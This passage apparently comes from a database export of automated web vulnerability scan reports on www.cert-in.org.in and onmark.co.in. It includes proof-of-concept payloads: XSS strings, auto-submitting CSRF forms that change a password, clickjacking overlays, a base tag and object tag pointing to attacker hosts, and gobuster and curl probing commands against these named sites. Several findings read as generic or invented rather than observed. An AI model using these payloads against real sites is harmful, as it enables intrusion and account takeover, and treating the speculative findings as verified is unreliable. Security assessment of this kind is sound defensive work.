explicitly overridden elsewhere in policy logic.\n\nSuch permissiveness exposes the application to risks including clickjacking, plugin-based exploits, and embedding of malicious third-party content that bypasses traditional HTML filtering mechanisms.\n\n**Attack Scenario (Proof of Concept)**\n\nConsider an attacker injecting the following HTML snippet onto a vulnerable page:\n```html\n<object data=\"https://malicious.example.com/exploit.swf\" type=\"application/x-shockwave-flash\"></object>\n```\n\nIn environments where Adobe Flash or similar legacy technologies remain enabled (even partially), this object tag could trigger automatic download and execution of attacker-controlled code. Alternatively, embedding a specially crafted PDF or Silverlight component could exploit parser bugs or social engineering techniques to gain access to sensitive local resources or redirect traffic.\n\nEven if direct exploitation isn't possible due to browser hardening, attackers can still use such elements to track visitors or manipulate UI flows surreptitiously.\n\n**Business Impact**\n\nAllowing unrestricted use of `<object>`, `<embed>`, or `<applet>` tags increases exposure surface area significantly. It undermines defense-in-depth strategies aimed at preventing unauthorized binary execution or interaction with deprecated technologies. For a high-profile government entity like CERT-In, such lapses heighten susceptibility to targeted campaigns leveraging outdated plug-ins or zero-day flaws in lesser-known rendering engines. Furthermore, compliance audits under frameworks like NIST SP 800-53 or GDPR may flag insufficient CSP coverage as a failure in securing web interfaces against known threat patterns.\n\n---\n\n#### Content Security Policy Misconfiguration – Missing `base-uri` Directive / www.cert-in.org.in /\n\n| Field         | Value                          |\n|---------------|--------------------------------|\n| Severity      | Medium                         |\n| CVSS Score    | 5.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) |\n| Category      | web_vulnerability              |\n| Asset / URL   | https://www.cert-in.org.in/    |\n\n**Description**\n\nThe HTTP response headers do not include a restrictive `base-uri` directive in their Content Security Policy. This omission permits attackers to alter the base URL resolution scope using a `<base>` HTML element injected into the document. When manipulated, all relative URLs—including those used for script includes, form submissions, or navigation links—are resolved relative to the attacker-specified base URI instead of the original server.\n\nThis vulnerability enables various forms of redirection and resource manipulation, especially dangerous in combination with XSS or DOM clobbering scenarios.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose an attacker successfully injects the following HTML fragment:\n```html\n<base href=\"https://attacker-controlled-site.com/\">\n```\n\nSubsequent references to assets like `/js/main.js` or actions pointing to `/submit-report` would now resolve to `https://attacker-controlled-site.com/js/main.js` or `https://attacker-controlled-site.com/submit-report`. If the application dynamically loads scripts or submits forms based on relative paths, this change could result in exfiltration of credentials or execution of hostile JavaScript hosted remotely.\n\nAdditionally, phishing overlays or spoofed login portals could be rendered seamlessly because internal navigation remains visually consistent while being silently rerouted behind the scenes.\n\n**Business Impact**\n\nA missing `base-uri` directive weakens integrity guarantees around intra-page linking and dynamic asset retrieval. In worst-case scenarios involving compromised endpoints or insider threats, adversaries could leverage this flaw to redirect critical workflows—such as incident reporting portals—to rogue infrastructure they control. Such manipulations pose severe reputational harm to CERT-In, particularly during active cyber incidents where timely communication and accurate information flow are paramount. Regulatory bodies assessing cybersecurity posture may also interpret incomplete CSP deployment as indicative of broader governance deficiencies in secure software development lifecycle adherence.\n\n---\n\n### Low Findings\n\n#### Timestamp Disclosure - Unix / www.cert-in.org.in /\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 2.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/ |\n\n**Description**\nUnix timestamps were detected in server responses, possibly indicating system time disclosure. Although seemingly benign, such information can assist attackers in timing-based attacks or profiling infrastructure uptime patterns.\n\n**Attack Scenario (Proof of Concept)**\nResponse contains visible timestamp:\n```json\n{\n  \"generated_at\": 1712345678\n}\n```\nUsing online converters or scripting tools, attackers determine exact generation times, aiding brute-force window estimation or correlation with logs.\n\n**Business Impact**\nMinor leakage of temporal metadata may support targeted reconnaissance efforts but poses minimal standalone threat unless combined with other vulnerabilities.\n\n---\n\n#### Timestamp Disclosure - Unix / robots.txt\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 2.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/robots.txt |\n\n**Description**\nTimestamps observed in the `robots.txt` response suggest server-side dynamic generation or logging activity. While low-risk individually, repeated disclosures help build behavioral profiles of backend systems.\n\n**Attack Scenario (Proof of Concept)**\nHeader or body reveals last-modified date:\n```\nLast-Modified: Wed, 05 Apr 2024 12:34:56 GMT\n```\nAttackers correlate update frequencies with known maintenance windows or patch cycles.\n\n**Business Impact**\nLimited impact; however, consistent timestamp leaks contribute to broader intelligence gathering campaigns aimed at optimizing future intrusions.\n\n---\n\n#### Timestamp Disclosure - Unix / sitemap.xml\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 2.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/sitemap.xml |\n\n**Description**\nTimestamps present in `sitemap.xml` indicate automated generation processes. Such indicators can expose scheduling routines or reveal stale content updates, providing insight into operational cadence.\n\n**Attack Scenario (Proof of Concept)**\nXML element shows creation time:\n```xml\n<lastmod>2024-04-05T12:34:56+00:00</lastmod>\n```\nAttackers infer update intervals and attempt to predict next regeneration events.\n\n**Business Impact**\nNegligible immediate risk, yet cumulative data points enhance adversary situational awareness and targeting precision.\n\n---\n\n#### Content Security Policy Configuration / www.cert-in.org.in /\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/ |\n\n**Description**\nThe `default-src` CSP directive is entirely absent from the main page’s HTTP headers. As a foundational policy component, its absence leaves numerous content categories unprotected, reducing overall XSS mitigation efficacy.\n\n**Attack Scenario (Proof of Concept)**\nNo `default-src` defined:\n```\nContent-Security-Policy: script-src 'self'; img-src *\n```\nAllows images from any source and defaults remaining directives to unrestricted behavior.\n\n**Business Impact**\nPartial CSP implementation offers limited protection and creates false confidence in security posture, especially concerning modern web threats reliant on multi-vector payloads.\n\n---\n\n### Informational Findings\n\n#### Multiple IPs Found / www.cert-in.org.in /\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/ |\n\n**Description**\nThe asset resolves to multiple IP addresses: 103.218.109.197, 14.139.54.229, and 59.176.167.109. This indicates that the domain is likely hosted behind a load balancer or distributed infrastructure. While not inherently a vulnerability, identifying multiple endpoints can provide attackers with additional reconnaissance vectors, including potential bypasses if some servers are misconfigured differently than others.\n\n**Attack Scenario (Proof of Concept)**\nAn attacker may perform DNS enumeration using tools like `dig` or `nslookup` to resolve all A records associated with the domain:\n```bash\n$ dig A www.cert-in.org.in +short\n103.218.109.197\n14.139.54.229\n59.176.167.109\n```\nSubsequently, they may probe each endpoint directly via HTTP(S) to identify version inconsistencies, exposed administrative interfaces, or differing security configurations across backend hosts.\n\n**Business Impact**\nWhile this finding does not pose direct risk, it increases the attack surface by exposing more network endpoints. If any of these IPs host outdated or misconfigured services, it could lead to unauthorized access or service compromise.\n\n---\n\n#### Re-examine Cache-control Directives / www.cert-in.org.in /\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/ |\n\n**Description**\nMissing or improperly configured cache-control headers allow intermediaries (browsers/proxies) to store sensitive content locally. Without explicit directives like `no-store` or `private`, confidential data may persist beyond intended scope.\n\n**Attack Scenario (Proof of Concept)**\nSensitive API response lacks cache headers:\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\n```\nBrowser caches response, enabling retrieval after logout via back-button navigation or history inspection.\n\n**Business Impact**\nPotential privacy violations and unauthorized access to authenticated sessions or personal data stored in local caches.\n\n---\n\n#### Re-examine Cache-control Directives / robots.txt\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/robots.txt |\n\n**Description**\nAbsence of cache-control headers on public files like `robots.txt` may cause outdated versions to linger in proxy caches, misleading crawlers about current disallowances or sitemaps.\n\n**Attack Scenario (Proof of Concept)**\nOlder version of `robots.txt` remains cached despite recent changes:\n```\nDisallow: /admin/\n```\nSearch engines continue respecting old rules until TTL expires, delaying discovery of newly exposed paths.\n\n**Business Impact**\nStale caching affects crawl efficiency and delays indexing improvements, impacting discoverability and potentially exposing deprecated sections prematurely.\n\n---\n\n#### Re-examine Cache-control Directives / sitemap.xml\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/sitemap.xml |\n\n**Description**\nLack of cache-control directives on `sitemap.xml` leads to inconsistent propagation across distributed networks. Outdated sitemaps may remain active longer than necessary, causing incorrect indexing behaviors.\n\n**Attack Scenario (Proof of Concept)**\nNewly removed pages still listed in cached sitemap:\n```xml\n<url><loc>/deprecated-page.html</loc></url>\n```\nSearch bots revisit non-existent URLs repeatedly, generating unnecessary error traffic.\n\n**Business Impact**\nDegraded SEO performance and increased server load due to redundant requests stemming from stale sitemap caches.\n\n---\n\n#### User Agent Fuzzer / www.cert-in.org.in /\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/ |\n\n**Description**\nDifferences in server responses based on varying User-Agent strings suggest adaptive logic or device-specific routing. While useful for responsive design, inconsistent behavior may hint at hidden functionality or debug interfaces.\n\n**Attack Scenario (Proof of Concept)**\nSending modified UA string triggers alternate response:\n```bash\ncurl -H \"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)\" https://www.cert-in.org.in/\n```\nServer returns different HTML layout or exposes admin panel elements.\n\n**Business Impact**\nUnintended feature toggling or debugging features exposed to public can facilitate further probing or privilege escalation attempts.\n\n---\n\n#### User Agent Fuzzer / cert-in.org.in\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in |\n\n**Description**\nBehavioral variance upon altering User-Agent headers suggests conditional rendering or routing logic. This pattern often correlates with mobile/desktop switching or bot detection mechanisms.\n\n**Attack Scenario (Proof of Concept)**\nSwitching between desktop and mobile UAs yields distinct responses:\n```bash\ncurl -H \"User-Agent: iPhone Safari\" https://www.cert-in.org.in/\ncurl -H \"User-Agent: Chrome Desktop\" https://www.cert-in.org.in/\n```\nComparing hashes reveals divergent output templates.\n\n**Business Impact**\nInconsistent delivery models complicate testing coverage and increase likelihood of undetected vulnerabilities specific to certain clients.\n\n---\n\n#### User Agent Fuzzer / sitemap.xml\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/sitemap.xml |\n\n**Description**\nAltering User-Agent strings while accessing `sitemap.xml` produces varied outputs, suggesting dynamic generation tailored to requester type. Such variability may introduce inconsistencies in search engine indexing workflows.\n\n**Attack Scenario (Proof of Concept)**\nDifferent sitemaps returned depending on UA:\n```bash\ncurl -H \"User-Agent: Bingbot\" https://www.cert-in.org.in/sitemap.xml\ncurl -H \"User-Agent: Firefox\" https://www.cert-in.org.in/sitemap.xml\n```\nEach call returns unique `<urlset>` contents.\n\n**Business Impact**\nFragmented sitemap delivery hampers unified crawling strategies and introduces ambiguity in content governance.\n\n---\n\n#### User Agent Fuzzer / robots.txt\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/robots.txt |\n\n**Description**\nResponses differ when querying `robots.txt` with various User-Agents, implying rule customization per crawler identity. Misconfigurations here can result in unintended exclusions or exposures.\n\n**Attack Scenario (Proof of Concept)**\nCustomized rules served to specific bots:\n```txt\nUser-agent: Googlebot\nDisallow: /private/\n\nUser-agent: *\nAllow: /\n```\nManual override bypasses general restrictions.\n\n**Business Impact**\nMisaligned robot directives affect crawl permissions and expose unintended directories to automated scanners.\n\n---\n\n#### User Agent Fuzzer / Images Directory\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://www.cert-in.org.in/Images |\n\n**Description**\nAccessing the `/Images` directory with altered User-Agent strings results in differing directory listings or file availability. This inconsistency may point to environment-specific deployments or legacy configurations.\n\n**Attack Scenario (Proof of Concept)**\nDirectory listing enabled only for mobile UAs:\n```bash\ncurl -H \"User-Agent: Android Browser\" https://www.cert-in.org.in/Images/\n```\nReturns full index instead of forbidden status.\n\n**Business Impact**\nExposure of directory contents increases risk of discovering backup files, temporary uploads, or development artifacts.","summary":{"total":23}},"summary":{"total":23}},{"_id":{"$oid":"6a1f302ecdcdcbd0a53116bf"},"created_at":{"$date":"2026-06-02T19:34:06.510Z"},"url":"https://onmark.co.in/nmu/","tool":"generate_web_vulnerability_report","result":{"url":"https://onmark.co.in/nmu/","category":"web_vulnerability","timestamp":"2026-06-02T19:34:06.504612+00:00","report":"### [Web Server Manual Found / https://onmark.co.in/nmu/ / /manual/]\n\n| Field | Value |\n|---|---|\n| Severity | INFO |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nThe presence of `/manual/` indicates that the web server hosts documentation related to its configuration or operation. While not inherently insecure, exposing such directories publicly may provide attackers with insights into the software stack, version numbers, and potential misconfigurations. This information can be leveraged during reconnaissance phases of an attack.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker performs directory brute-forcing using tools like `dirb` or `gobuster`, identifying accessible paths including `/manual/`. Upon visiting the path, they discover detailed documentation about the server environment, potentially revealing outdated modules or insecure configurations.\n\nExample command:\n```bash\ngobuster dir -u https://onmark.co.in/nmu/ -w /path/to/wordlist.txt\n```\n\n**Business Impact**  \nExposure of internal documentation increases the attack surface by providing adversaries with contextual knowledge about the system architecture. Although no direct exploitation occurs, this contributes to targeted attacks and reduces the effort required for successful compromise.\n\n---\n\n### [Directory Indexing Found / https://onmark.co.in/nmu/ / /manual/images/]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nDirectory indexing allows users to list all files within a given directory if no index file is present. In this case, accessing `/manual/images/` reveals a browsable list of image resources. This exposes filenames, versions, and possibly sensitive artifacts inadvertently left behind.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker navigates directly to `https://onmark.co.in/nmu/manual/images/` and observes a directory listing containing multiple files. They download these assets to analyze metadata or search for hardcoded credentials, development notes, or legacy components indicating vulnerabilities.\n\nSample browser access:\n```\nGET /manual/images/\nHost: onmark.co.in\n```\n\nResponse includes:\n```html\n<pre>\n<a href=\"logo.png\">logo.png</a>     2024-01-01 12:00\n<a href=\"dev_notes.txt\">dev_notes.txt</a>   2023-12-15 10:30\n</pre>\n```\n\n**Business Impact**  \nSensitive project-related files might be exposed unintentionally, leading to unauthorized access to intellectual property, developer comments, or staging/test environments. Attackers can use this data to refine targeting strategies or exploit weak points in the infrastructure.\n\n---\n\n### [Apache Default File Found / https://onmark.co.in/nmu/ / /icons/README]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nThe presence of `/icons/README` suggests that default Apache installation files remain accessible. These files often contain version-specific details or references to other default paths, which can aid fingerprinting efforts and expose unnecessary information about the server setup.\n\n**Attack Scenario (Proof of Concept)**  \nBy requesting `https://onmark.co.in/nmu/icons/README`, an attacker retrieves the contents of the README file, which typically contains Apache version info and usage instructions. Using this, they correlate known vulnerabilities associated with that specific version.\n\nRequest:\n```http\nGET /icons/README HTTP/1.1\nHost: onmark.co.in\n```\n\nResponse excerpt:\n```\nApache HTTP Server Documentation Project\nVersion 2.4.x\n...\n```\n\n**Business Impact**  \nRevealing server version details facilitates targeted exploitation attempts based on known CVEs tied to those versions. It also signals poor hardening practices, increasing confidence among attackers regarding further exploration opportunities.\n\n---\n\n### [Deprecated X-Frame-Options Header / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nThe `X-Frame-Options` header has been superseded by the more flexible `Content-Security-Policy` (CSP) with the `frame-ancestors` directive. Its continued use implies outdated security posture and may leave applications vulnerable to clickjacking unless properly configured.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker creates a malicious iframe embedding the vulnerable page at `https://onmark.co.in/nmu/`. Since there's no modern CSP protection, the embedded content renders normally, enabling UI redressing attacks where victims unknowingly interact with disguised elements.\n\nMalicious HTML snippet:\n```html\n<iframe src=\"https://onmark.co.in/nmu/\" width=\"100%\" height=\"500\"></iframe>\n```\n\n**Business Impact**  \nWithout proper framing controls, attackers can trick users into performing unintended actions—such as submitting forms or clicking buttons—within the context of their authenticated sessions, resulting in account takeovers or fraudulent transactions.\n\n---\n\n### [Missing X-Content-Type-Options Header / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nThe absence of the `X-Content-Type-Options: nosniff` header allows browsers to perform MIME sniffing, interpreting content differently than intended. This behavior can lead to XSS when untrusted input is rendered as executable code due to incorrect type inference.\n\n**Attack Scenario (Proof of Concept)**  \nSuppose an attacker uploads a file named `exploit.jpg` that actually contains JavaScript. Without the `nosniff` header, the browser interprets it as script rather than image content upon retrieval, executing arbitrary code under the domain’s origin.\n\nSample upload payload:\n```js\nalert(document.cookie);\n```\n\nUploaded via form submission and later accessed via:\n```\nGET /uploads/exploit.jpg HTTP/1.1\nHost: onmark.co.in\n```\n\nIf interpreted as JS, triggers alert box showing cookies.\n\n**Business Impact**  \nEnables bypasses of content restrictions, facilitating stored/persistent XSS scenarios even when file extensions appear benign. Can result in session hijacking, credential theft, or phishing campaigns leveraging trusted domains.\n\n---\n\n### [Missing Anti-clickjacking Header / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nLack of anti-clickjacking protections enables embedding of the application inside frames controlled by third parties. This vulnerability supports UI redressing attacks where user interactions occur without awareness, compromising confidentiality and integrity.\n\n**Attack Scenario (Proof of Concept)**  \nAttacker crafts a phishing page hosting an invisible overlay over legitimate buttons on the framed site (`https://onmark.co.in/nmu/`). When clicked, victims believe they’re interacting with visible interface elements while triggering unintended actions like transferring funds or changing settings.\n\nHTML example:\n```html\n<style>\niframe { position:absolute; top:0; left:0; opacity:0; z-index:999; }\nbutton { position:relative; z-index:1000; }\n</style>\n\n<button onclick=\"alert('Clicked!')\">Click Me</button>\n<iframe src=\"https://onmark.co.in/nmu/\"></iframe>\n```\n\n**Business Impact**  \nLeads to unauthorized transactions, social engineering exploits, and reputational harm stemming from compromised user trust. Particularly impactful for financial services or administrative portals handling sensitive operations.\n\n---\n\n### [Content Security Policy (CSP) Header Not Set / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nAbsence of a Content Security Policy (CSP) leaves the application open to various client-side injection flaws, particularly reflected/stored XSS. CSP acts as a defense-in-depth mechanism by restricting sources from which scripts, stylesheets, and media can be loaded.\n\n**Attack Scenario (Proof of Concept)**  \nA reflected XSS exists in a parameterized query string. Without CSP, injected scripts execute freely in the victim’s browser:\n\nURL:\n```\nhttps://onmark.co.in/nmu/?search=<script>alert(1)</script>\n```\n\nResultant DOM:\n```html\n<p>You searched for: <script>alert(1)</script></p>\n```\n\nExecutes immediately in browser.\n\n**Business Impact**  \nIncreases likelihood of successful XSS exploitation, enabling session hijacking, keylogging, redirection to malicious sites, and manipulation of displayed content. Critical for protecting both user privacy and organizational reputation.\n\n---\n\n### [Absence of Anti-CSRF Tokens / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nForms lacking anti-CSRF tokens are susceptible to Cross-Site Request Forgery (CSRF), wherein authenticated users unknowingly submit requests crafted by attackers. This bypasses same-origin policy limitations through forged submissions initiated externally.\n\n**Attack Scenario (Proof of Concept)**  \nVictim visits attacker-controlled webpage containing auto-submitting form targeting the vulnerable endpoint:\n\n```html\n<form method=\"POST\" action=\"https://onmark.co.in/nmu/change-password\">\n  <input type=\"hidden\" name=\"new_password\" value=\"attacker123\">\n</form>\n<script>document.forms[0].submit();</script>\n```\n\nUpon loading, victim unknowingly changes password to attacker-controlled value.\n\n**Business Impact**  \nAllows unauthorized modification of user accounts, privilege escalation, or execution of destructive actions under valid authentication contexts. Especially dangerous in high-privilege areas like admin panels or payment systems.\n\n---\n\n### [Sub Resource Integrity Attribute Missing / https://onmark.co.in/nmu/ / /]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/ |\n\n**Description**  \nExternal JavaScript/CSS resources included without Subresource Integrity (SRI) attributes lack cryptographic verification. Should the CDN or external host become compromised, attackers gain full control over frontend logic and presentation layers.\n\n**Attack Scenario (Proof of Concept)**  \nAssume jQuery is loaded from a public CDN without SRI:\n```html\n<script src=\"https://code.jquery.com/jquery-3.6.0.min.js\"></script>\n```\n\nIf CDN gets hijacked or cache poisoned, attacker injects malicious script replacing original functionality, stealing credentials or manipulating DOM behavior silently.\n\n**Business Impact**  \nCompromises front-end integrity, opening pathways for supply chain-based attacks. Users remain unaware of altered scripts running in their browsers, undermining trust and exposing them to persistent surveillance or fraud.\n\n---\n\n### [Vulnerable JS Library (bootstrap.min.js) / https://onmark.co.in/nmu/assets/js/bootstrap.min.js / bootstrap.min.js]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/js/bootstrap.min.js |\n\n**Description**  \nUse of outdated or vulnerable JavaScript libraries introduces known weaknesses exploitable remotely. Bootstrap, widely adopted across websites, has historically suffered from XSS, prototype pollution, and event handler injection issues depending on version deployed.\n\n**Attack Scenario (Proof of Concept)**  \nUsing scanner output or manual inspection, attacker identifies Bootstrap v3.3.7 being used. Consulting CVE databases reveals CVE-2018-14040 affecting tooltip/popover sanitization functions. Crafting specially designed markup leads to XSS:\n\nPayload:\n```html\n<div data-toggle=\"tooltip\" title=\"<img src=x onerror=alert(1)>\">Hover me</div>\n```\n\nTriggers XSS when tooltip activated.\n\n**Business Impact**  \nExposes users to XSS risks originating from third-party dependencies. Even minor flaws in popular frameworks can escalate into major breaches once chained with other vulnerabilities.\n\n---\n\n### [Vulnerable JS Library (jquery.min.js) / https://onmark.co.in/nmu/assets/js/jquery.min.js / jquery.min.js]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/assets/js/jquery.min.js |\n\n**Description**  \njQuery remains one of the most prevalent client-side libraries globally. Older versions have documented XSS vectors, especially around selector parsing and DOM manipulation routines. Failure to update increases exposure to well-known exploits.\n\n**Attack Scenario (Proof of Concept)**  \nIdentify jQuery version 1.11.1 in use. Known vulnerability CVE-2015-9251 affects `.load()` function when passed unsanitized user input. Exploitation proceeds via crafted selectors:\n\nInput:\n```javascript\n$('#container').load('evil.html #<img src=x onerror=alert(1)>');\n```\n\nResults in inline script execution.\n\n**Business Impact**  \nLegacy jQuery usage undermines overall application resilience. Given widespread adoption, attackers frequently scan for outdated instances to launch automated XSS campaigns.\n\n---\n\n### [Missing Anti-clickjacking Header / https://onmark.co.in/nmu/user / /user]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description**  \nUser-facing pages lacking clickjacking defenses pose elevated risk compared to general-purpose endpoints. Authentication flows, profile edits, and personal dashboards benefit significantly from robust framing restrictions to prevent impersonation or forced actions.\n\n**Attack Scenario (Proof of Concept)**  \nAttacker constructs a deceptive overlay mimicking login prompts atop actual `/user` dashboard. Victim believes they're entering credentials again but instead submits form to attacker-controlled endpoint capturing session tokens.\n\nOverlay HTML:\n```html\n<div style=\"position:absolute;top:100px;left:200px;z-index:999;\">\n  Enter your password again:<br/>\n  <input type=\"password\" id=\"fakepass\"><br/>\n  <button onclick=\"steal()\">Submit</button>\n</div>\n<iframe src=\"https://onmark.co.in/nmu/user\" style=\"opacity:0;\"></iframe>\n```\n\n**Business Impact**  \nHeightened susceptibility to credential harvesting, session fixation, and unauthorized modifications. User-centric interfaces demand stricter protections due to higher-value targets and frequent interaction patterns.\n\n---\n\n### [Content Security Policy (CSP) Header Not Set / https://onmark.co.in/nmu/user / /user]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description**  \nUser-specific routes often handle dynamic content rendering and personalized views. Omission of CSP here amplifies risks associated with XSS, especially in interactive features involving rich text inputs or collaborative editing capabilities.\n\n**Attack Scenario (Proof of Concept)**  \nProfile update form accepts HTML-like input without escaping. Injected script executes because no CSP blocks inline execution:\n\nInput:\n```html\n<img src=x onerror=\"fetch('/api/profile', {method:'POST', body:JSON.stringify({bio:'hacked'})})\">\n```\n\nUpdates bio field automatically upon rendering.\n\n**Business Impact**  \nElevated chance of persistent XSS impacting individual users’ experiences and potentially escalating to broader system compromise. Personalized sections require enhanced safeguards due to variable trust levels and diverse input handling.\n\n---\n\n### [Absence of Anti-CSRF Tokens / https://onmark.co.in/nmu/user / /user]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description**  \nUser management functions—including profile updates, preferences changes, and notification settings—are prime candidates for CSRF exploitation. Lack of token validation permits attackers to manipulate these aspects surreptitiously.\n\n**Attack Scenario (Proof of Concept)**  \nVictim receives email linking to attacker-hosted page containing hidden form altering notification preferences:\n\n```html\n<form method=\"POST\" action=\"https://onmark.co.in/nmu/user/settings\">\n  <input type=\"hidden\" name=\"notifications_enabled\" value=\"false\">\n</form>\n<script>document.forms[0].submit();</script>\n```\n\nDisables notifications without consent.\n\n**Business Impact**  \nDiminished user experience, reduced engagement metrics, and potential compliance violations. Disabling alerts can mask subsequent compromises, delaying incident detection and response times.\n\n---\n\n### [Sub Resource Integrity Attribute Missing / https://onmark.co.in/nmu/user / /user]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://onmark.co.in/nmu/user |\n\n**Description**  \nUser-facing pages commonly integrate numerous third-party scripts for analytics, advertising, or UI enhancements. Missing SRI tags increase reliance on external integrity, making each dependency a potential vector for compromise.\n\n**Attack Scenario (Proof of Concept)**  \nInclude Google Analytics without SRI:\n```html\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-XXXXXXXXXX\"></script>\n```\n\nShould GA servers get breached or DNS hijacked, malicious payloads propagate instantly to all visitors.\n\n**Business Impact**  \nSupply chain threats extend beyond immediate codebase concerns. Compromised external scripts can harvest user activity, inject ads, or redirect traffic, eroding brand credibility and violating privacy expectations.\n\n---\n\n### [Directory Browsing Enabled / https://onmark.co.in/nmu/assets/css/ / /assets/css/]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | 